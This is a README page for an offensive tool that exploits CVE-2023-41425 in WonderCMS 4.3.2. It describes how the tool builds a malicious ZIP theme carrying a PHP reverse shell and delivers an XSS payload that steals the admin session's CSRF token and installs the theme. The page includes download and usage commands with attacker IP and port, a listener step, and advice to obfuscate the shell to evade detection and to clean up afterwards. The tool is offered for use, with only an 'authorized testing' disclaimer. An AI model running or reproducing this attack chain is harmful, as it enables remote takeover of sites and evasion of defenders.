## https://sploitus.com/exploit?id=46BF368D-4A62-5FFA-8FED-4C7FE7851B2E
# π¨ WonderCMS RCE Exploit Tool (CVE-2023-41425)
This Python-based offensive security tool automates the exploitation of a **Remote Code Execution (RCE)** vulnerability in **WonderCMS 4.3.2**, specifically **CVE-2023-41425**. It streamlines the process of crafting a malicious ZIP theme module and delivering a JavaScript-based **XSS payload** to hijack an admin session and deploy a PHP reverse shell.
> β οΈ **For educational and authorized security testing purposes only.**
---
## π Table of Contents
- [βοΈ Features](#οΈ-features)
- [π₯ Installation & Requirements](#-installation--requirements)
- [π Usage Examples](#-usage-examples)
- [π§Ύ Argument Reference](#-argument-reference)
- [π§ Detailed Workflow](#-detailed-workflow)
- [π Security Notes](#-security-notes)
- [π License & Attribution](#-license--attribution)
---
## βοΈ Features
- Generates a weaponized ZIP archive with embedded PHP reverse shell
- Crafts a JavaScript-based XSS payload to hijack admin sessions
- Extracts CSRF tokens and automates the module installation process
- Spins up a local HTTP server to host exploit files
- Compatible with Kali Linux, ParrotOS, and Python 3.6+
---
## π₯ Installation & Requirements
### π§ Requirements
- Python **3.6+**
- Compatible with Linux and macOS
- Tested on Kali Linux
### π¦ Dependencies
The script relies only on Pythonβs standard library. No external packages required.
### π Installation
#### UNIX
```bash
wget https://github.com/Tea-On/CVE-2023-41425-RCE-WonderCMS-4.3.2/archive/refs/heads/main.zip
unzip main.zip
cd CVE-2023-41425-RCE-WonderCMS-4.3.2-main
```
#### Windows
```shell
git clone https://github.com/Tea-On/CVE-2023-41425-RCE-WonderCMS-4.3.2.git
cd ./CVE-2023-41425-RCE-WonderCMS-4.3.2
```
---
## π Usage Examples
### π» Bash
```bash
python3 exploit_CVE-2023-41425.py -u http://target/index.php?page=loginURL -H 192.168.0.100 -p 4444 -r reverseShell.php
```
### πͺ PowerShell (WSL recommended)
```powershell
python3 exploit_CVE-2023-41425.py -u http://target/index.php?page=loginURL -H 192.168.0.100 -p 4444 -r ./reverseShell.php
```
---
## π§Ύ Argument Reference
| Argument | Required | Description | Default |
|------------------|----------|---------------------------------------------------------------------|-----------------|
| `-u` | β
| Target WonderCMS login URL (e.g., `http://target/index.php?...`) | β |
| `-H`, `--host` | β
| Attackerβs IP address (for reverse shell) | β |
| `-p` | β
| Attackerβs listening port | β |
| `-r`, `--reverse-shell` | β
| Path to the PHP reverse shell script | β |
| `--dir-name` | β | Directory inside ZIP theme archive | `TeaOn` |
| `--http-port` | β | Port for local HTTP server | `3000` |
| `--zip-name` | β | Name of the generated ZIP file | `reverse-shell` |
---
## π§ Detailed Workflow
Hereβs a breakdown of what the script does under the hood:
1. **Argument Parsing**:
- Uses `argparse` to collect required and optional inputs from the attacker.
2. **Reverse Shell Preparation**:
- Reads the provided PHP reverse shell.
- Replaces `$ip` and `$port` placeholders with the supplied `-H` and `-p` values.
3. **Malicious ZIP Creation**:
- Creates a directory structure like: `/`.
- Compresses it into `.zip`.
4. **XSS Payload (`script.js`) Generation**:
- Extracts CSRF token from target login page via DOM parsing.
- Constructs the module installation URL with the hosted ZIP.
- Installs the malicious theme, triggering the reverse shell.
5. **Instructions & Exploit Hosting**:
- Outputs the `nc` listener command.
- Shows the full XSS delivery URL.
- Launches a simple HTTP server to host both the ZIP and JS files.
---
## π Security Notes
- π§Ή **Cleanup**: Always remove generated ZIPs, JS payloads, and HTTP server logs after use.
- π **Detection**: Exploit may be logged by WonderCMS or detected by WAFs.
- π§ͺ **Test Responsibly**: Only target systems you are explicitly authorized to test.
- π **Harden Reverse Shells**: Consider obfuscating or encrypting the PHP payload to evade detection.
---
## π License & Attribution
This tool is provided under the [MIT License](LICENSE).
Crafted with π₯ by TeaOnHackπ§.
- CVE Reference: [CVE-2023-41425](https://nvd.nist.gov/vuln/detail/CVE-2023-41425)
- WonderCMS: https://www.wondercms.com/
> This project is intended for **educational and authorized security assessments only**. The author is not responsible for any misuse or damage caused by this tool.